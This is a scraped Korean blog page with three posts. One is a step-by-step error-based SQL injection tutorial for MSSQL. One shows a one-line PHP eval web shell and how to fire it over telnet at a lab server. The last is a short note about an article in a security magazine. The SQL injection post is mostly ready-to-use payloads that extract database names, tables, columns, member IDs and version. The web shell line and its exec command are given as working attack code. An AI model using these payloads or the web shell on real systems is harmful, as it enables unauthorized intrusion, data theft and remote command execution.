SQL Injection을 파해쳐 보자
일반적으로 bypass를 써서 성공하게 되면, SQL Injection이 가능하다라고 생각 한다.
그 외 '(싱글쿼터)로 데이터 베이스 에러가 발생하면 가능도 하지 않을까 라고 생각 한다.
그렇게 해서 해보면 어느정도는 SQL Injection으로 원하는 결과를 얻기도 한다.

먼저 bypass와 주석에 대해서 알아보자

1. bypass 와 주석
 아래의 bypass를 사용해서 로그인이 되거나 데이터 베이스 에러가 확인 될 경우, 취약하다는 가정을 갖게된다.

사용자 삽입 이미지

MSSQL은 주석을 -- 를 사용하며, MYSQL은 #을 사용한다.

Oracle 확인 방법은
AND 'abcd' = 'ab' + 'cd' 가 참이면 Oracle이 아니고
AND 'abcd' = 'ab' || 'cd'가 참이면  Oracle이 된다.


2. error base SQL Injection
SQL  Injection 종류에서 error base가 가장 대표적이라고 말할 수 있다. 사용자가 사용한 잘못된 SQL 구문으로
 웹페이지에서 에러를 도출 시키는 방법을 error base SQL Injection이라 한다.

일반적으로 브라우져가 보여주는 500 error를 DB error라고 한다.


3. DB 정보 알아내기
'and db_name() < 1 --
 
사용자 삽입 이미지

위와 같이 사용될 경우 db_name()이 정수형이 아닌 관계로 "<" 연산을 받아 들이지 못합니다.
이러한 이유로 인해 아래와 같은 오류 구문을 볼 수 있다.
사용자 삽입 이미지

오류가 발생하여 wizmall이라는 데이터베이스 이름을 알게되었다.


4. 그 외 SQL Injection에서 사용되는 것

1' HAVING 1=1 --
Having 은 첫번째 그룹된 값의 조건을 받아 주는데, 그룹이나 집계된 내역이 존재하지 않아 column 값을 에러로 보여준다.
사용자 삽입 이미지


1' GROUP BY m.mid HAVING 1=1 --
다음 컬럼을 확인하는데 사용됩니다. 위와 다르게 GROUP BY를 사용하여 1번에서 도출된(위의 HAVING) 값을 넣어준다.

사용자 삽입 이미지


1' GROUP BY m.mid m.mpwd HAVING 1=1 --
그 다음 column 값 확인

1' and 1=convert(int,db_name()) --
convert함수를 사용하여 형변환을 일으켜서 DB이름을 알아낸다.

사용자 삽입 이미지


1' and 1=convert(int,user_name())--
사용자 이름 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables))--
테이블 정보 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('wiztable_board_config')))--
다음 테이블 정보 알아내기


1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers')) --
컬럼 값 알아내기

1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers' and column_name not in ('uid'))) --
다음 컬럼 값 알아내기

1' and 1=convert(int,(select top 1 mid from wizmembers)) --
사용자 정보 알아내기

1' and 1=convert(int,@@version) --
버전 알아내기

음...  그외 Union select로 알아보기는 다음에 해야지 잇힝~












'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
한 줄짜리 웹쉘의 사용법  (0) 2011.02.10
Posted by 도시형닌자
:
한줄 짜리 웹쉘은 아래처럼 생겼다.

<?php eval($_POST[cmd])?>

참 실행시키고 싶은 욕망이 불러져 온다.

먼저 eval 이라는 녀석은 eval ( string code_str) 이렇게 사용이 되며,

간단하게 string code를 파라미터로 받아서 php 코드에서 명령어를 수행할 수 있는 녀석으로

생각하면 된다.

그리하여 실행해 보았다.

Webserver : 192.168.137.100:80

공격 수행 :
1. telnet 192.168.137.100 80
2. 헤더 + 한줄 + cmd=exec("mkdir MakeDirTest");

헤더 다음에 한줄은 method가 POST이므로 꼭 필요하다.
사용자 삽입 이미지
그럼 200 ok가 떨어진다

공격 수행 후 확인해 보면 정확히 MakeDirTest라는 폴더가 Web_root에 만들어 진것을 확인할 수 있다.

'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
SQL Injetion을 해보자  (0) 2011.02.10
Posted by 도시형닌자
:

이번 안철수 연구소에서 매월 나가는 "안"에서 내 문서가 올라갔다. 다시 정리해서 올릴까 했는데...

거참..  분량도...  또 사진도 많았다...  그리하여 아래 내용은 그림파일로 올림  -_-;;

사용자 삽입 이미지


'Forensics' 카테고리의 다른 글

ENCE 준비 1. 시험 신청  (0) 2011.03.09
침해대응시 사용하는 스크립트 툴  (0) 2011.02.10
x-way forensic으로 파일 복구하기  (0) 2010.09.24
정규표현식 2회  (0) 2010.04.05
쓸만한 무료 웹 스캐너 Skipfish  (0) 2010.04.05
Posted by 도시형닌자
: